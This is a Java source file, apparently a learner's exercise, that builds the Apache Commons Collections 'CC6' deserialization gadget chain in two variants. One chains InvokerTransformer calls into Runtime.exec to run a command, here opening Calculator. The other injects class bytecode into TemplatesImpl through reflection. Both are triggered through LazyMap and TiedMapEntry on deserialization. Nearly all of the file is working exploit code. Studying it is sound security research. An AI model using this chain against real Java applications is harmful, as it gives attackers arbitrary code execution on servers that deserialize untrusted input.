1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131
| package org.cclearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.clearn.Clean;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class cc6Learn {
public static void cc6_1() throws Exception { String cmd="open -a Calculator.app"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; ChainedTransformer ct=new ChainedTransformer(transformers);
HashMap<String, String> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, String> sourceHashMap = new HashMap<>();
sourceHashMap.put(tideMapEntry, "bbb"); lazyMap.remove("aaa");
Class<? extends Map> lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, ct);
String fileName = Serialize.serialize(sourceHashMap); Serialize.deserialize(fileName); Clean.clean(); }
public static void cc6_2() throws Exception { TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
}catch (Exception e){ e.printStackTrace(); }
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<String, String> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, String> sourceHashMap = new HashMap<>();
sourceHashMap.put(tideMapEntry, "bbb"); lazyMap.remove(templates);
Class<? extends Map> lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, invokerTransformer);
Serialize.serialize(sourceHashMap,false); Serialize.deserialize("ser.bin");
}
public static void main(String[] args) throws Exception { cc6_2(); } }
|